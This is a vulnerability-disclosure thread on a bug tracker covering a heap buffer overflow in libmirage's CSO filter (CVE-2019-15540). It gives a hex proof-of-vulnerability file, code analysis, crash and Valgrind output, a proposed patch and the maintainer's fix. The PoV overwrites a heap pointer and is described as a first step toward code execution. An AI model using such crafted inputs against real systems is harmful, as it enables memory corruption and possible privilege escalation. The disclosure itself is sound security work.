Hi,
I found a critical bug in libmirage 3.2.2, specifically in the CSO filter.
The file content that triggers the bug (PoV) is the following (344 bytes in hex):
43 49 53 4F 00 00 00 00 FF 00 00 00 00 00 00 FF
FF 00 00 00 00 30 00 00 00 00 00 00 61 61 00 00
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
41 41 41 41 41 41 41 41
Running the file libmirage cause an assertion error in ptmalloc:
** (process:4444): WARNING **: 19:33:48.056: CSO-FilterStream: failed to inflate part: invalid distance too far back
!
** (process:4444): WARNING **: 19:33:48.056: FilterStream: failed to do a partial read!
...
** (process:4444): WARNING **: 19:33:48.056: CSO-FilterStream: failed to inflate part: invalid distance too far back
!
** (process:4444): WARNING **: 19:33:48.056: FilterStream: failed to do a partial read!
double free or corruption (!prev)
Aborted
The CSO header (the first 24 bytes) is the follwing:
(gdb) p *header
$36 = {
magic = "CISO",
header_size = 0x0,
total_bytes = 0xff000000000000ff,
block_size = 0xff,
version = 0x0,
idx_align = 0x30,
reserved = 0x0
}
The buggy code is in filters/filter-cso/filter-stream.c.
To analyze the root cause of the bug we must look at the mirage_filter_stream_cso_read_index routine before.
In the details, look at the code that computes the comp_size field of each self->priv->parts (the snippet starts at line 100).
/* Read and decode index */
for (gint i = 0; i < self->priv->num_indices; i++) {
guint32 buf;
CSO_Part *cur_part = &self->priv->parts[i];
/* Read index entry */
ret = mirage_stream_read(stream, &buf, sizeof(buf), NULL);
if (ret != sizeof(guint32)) {
g_set_error(error, MIRAGE_ERROR, MIRAGE_ERROR_STREAM_ERROR, Q_("Failed to read from index!"));
return FALSE;
}
/* Fixup endianness */
buf = GUINT32_FROM_LE(buf);
/* Calculate part info */
cur_part->offset = (buf & 0x7FFFFFFF) << header->idx_align;
cur_part->raw = buf >> 31;
if (i > 0) {
CSO_Part *prev_part = &self->priv->parts[i-1];
prev_part->comp_size = cur_part->offset - prev_part->offset;
}
}
cur_part->offset is a controlled field cause buf is directly readed from the input file.
It is used to set the value of prev_part->comp_size if the iteration is nto the first.
In the PoV file self->priv->num_indices is 2.
The first iteration does not set comp_size due to the if (i > 0) but sets cur_part->offset to input[24:28] = 0.
The second sets cur_part->offset = (input[28:32] & 0x7FFFFFFF) << 0x30 = (0x6161 & 0x7FFFFFFF) << 0x30 = 0x61610000.
Now, always in the same routine, look at the code that allocates memory for self->priv->io_buffer:
/* Allocate I/O buffer */
self->priv->io_buffer_size = header->block_size;
self->priv->io_buffer = g_try_malloc(self->priv->io_buffer_size);
if (!self->priv->io_buffer) {
g_set_error(error, MIRAGE_ERROR, MIRAGE_ERROR_STREAM_ERROR, Q_("Failed to allocate memory for I/O buffer!"));
return FALSE;
}
As you can see the size is taken from the header (block_size), 0xff in the PoV file.
The bug is in mirage_filter_stream_cso_partial_read when the program tries to read compressed data (the snippet starts at line 273).
do {
/* Read */
if (!zlib_stream->avail_in) {
/* Read some compressed data */
ret = mirage_stream_read(stream, self->priv->io_buffer, part->comp_size, NULL);
if (ret == -1) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %d bytes from underlying stream!\n", __debug__, self->priv->io_buffer_size);
return -1;
} else if (ret == 0) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: unexpectedly reached EOF\n!", __debug__);
return -1;
}
zlib_stream->avail_in = ret;
zlib_stream->next_in = self->priv->io_buffer;
}
/* Inflate */
ret = inflate(zlib_stream, Z_NO_FLUSH);
if (ret == Z_NEED_DICT || ret == Z_MEM_ERROR || ret == Z_DATA_ERROR) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to inflate part: %s\n!", __debug__, zlib_stream->msg);
return -1;
}
} while (zlib_stream->avail_out);
Look at the call to mirage_stream_read, you can note that the size parameter is part->comp_size, that is 0x61610000, but the allocated space
for self->priv->io_buffer is only 0xff.
This lead to an Heap Buffer Overflow of arbitray size that can both corrupt the allocator metadata (in fact, later, the program crashes with an assertion failure in the allocator code)
and the program data structures in the heap.
In the PoV I overwrite a pointer in the heap with AAAAAAAA (0x4141414141414141) just after self->priv->io_buffer that is later freed in mirage_context_create_input_stream (context.c:488).
If you run Valgrind you get the following result:
==2510== Invalid free() / delete / delete[] / realloc()
==2510== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==2510== by 0x9791D53: mirage_filter_stream_ecm_finalize (filter-stream.c:539)
==2510== by 0x5397011: g_object_unref (in /usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0.5600.4)
==2510== by 0x4E4AD3F: mirage_context_create_input_stream (context.c:488)
==2510== by 0x4E4A9A9: mirage_context_load_image (context.c:374)
==2510== by 0x400EC2: main (driver.c:18)
==2510== Address 0x4141414141414141 is not stack'd, malloc'd or (recently) free'd
==2510==
That is a so called House of Spirit attack, a first step towards code execution.
My proposed fix is the following:
--- filter-stream_old.c 2019-08-24 19:24:17.931003000 +0200
+++ filter-stream.c 2019-08-24 19:26:13.563667216 +0200
@@ -273,10 +273,17 @@
do {
/* Read */
if (!zlib_stream->avail_in) {
+ /* Reallocate I/O buffer */
+ self->priv->io_buffer = g_realloc(self->priv->io_buffer, part->comp_size);
+ if (!self->priv->io_buffer) {
+ MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to reallocate memory for I/O buffer!\n", __debug__);
+ return -1;
+ }
+
/* Read some compressed data */
ret = mirage_stream_read(stream, self->priv->io_buffer, part->comp_size, NULL);
if (ret == -1) {
- MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %d bytes from underlying stream!\n", __debug__, self->priv->io_buffer_size);
+ MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: failed to read %ld bytes from underlying stream!\n", __debug__, part->comp_size);
return -1;
} else if (ret == 0) {
MIRAGE_DEBUG(self, MIRAGE_DEBUG_WARNING, "%s: unexpectedly reached EOF\n!", __debug__);
Due to the fact that is bug can be triggered with just a call to mirage_context_load_image it is also a vulnerability of the CDemu package.
The CDemu deamon runs as root an call mirage_context_load_image so this bug, if exploited, can lead to a priviledge escalation in Linux.
Thanks for the attention and best regards,
Andrea Fioraldi [Msc student Sapienza University of Rome]
If you need further details (the patch is quite naive) don't esitate to ask.
Thanks for another thorough analysis and description of the issue!
I think the correct fix here is validation of part sizes (
prev_part->comp_size) - these cannot exceed the declared block size (header->block_size), otherwise there's something wrong with the input file. The part size should be either smaller (compressed block) or equal (raw block) to block size. This way the I/O buffer ofblock_sizeis always guaranteed to be sufficient, and does not need to be reallocated.I have pushed a patch to that effect to the repository.
While you can run the daemon as root, this is actually discouraged and the user who wants such setup needs to go through additional hoops to enable it (like installing the D-Bus service configuration for system bus, and configuring both daemon and the clients to use system bus instead of session one). The typical deployment should have the daemon running under user's account and have it connect to user session's D-bus.
Ok ty for the quick fix.
When you think is appropriate, could you make this ticket public?
I've requested a CVE cause I found the bug using my fuzzer and I'm going to submit a paper about such fuzzer in a security conference. The motivation of the CVE request is simply that reviewers like a list of CVE (yes this is not so academic but I don't decide the rules).
If you have never used a fuzzer and you want to automatically finds similar bugs in the future I can share with you my fuzzing setup for libmirage adapted to https://github.com/vanhauser-thc/AFLplusplus (I'm a maintainer of the project).
Regards,
Andrea
Last edit: Andrea Fioraldi 2019-08-25
You can refer to this bug using CVE-2019-15540 in the next release changelog.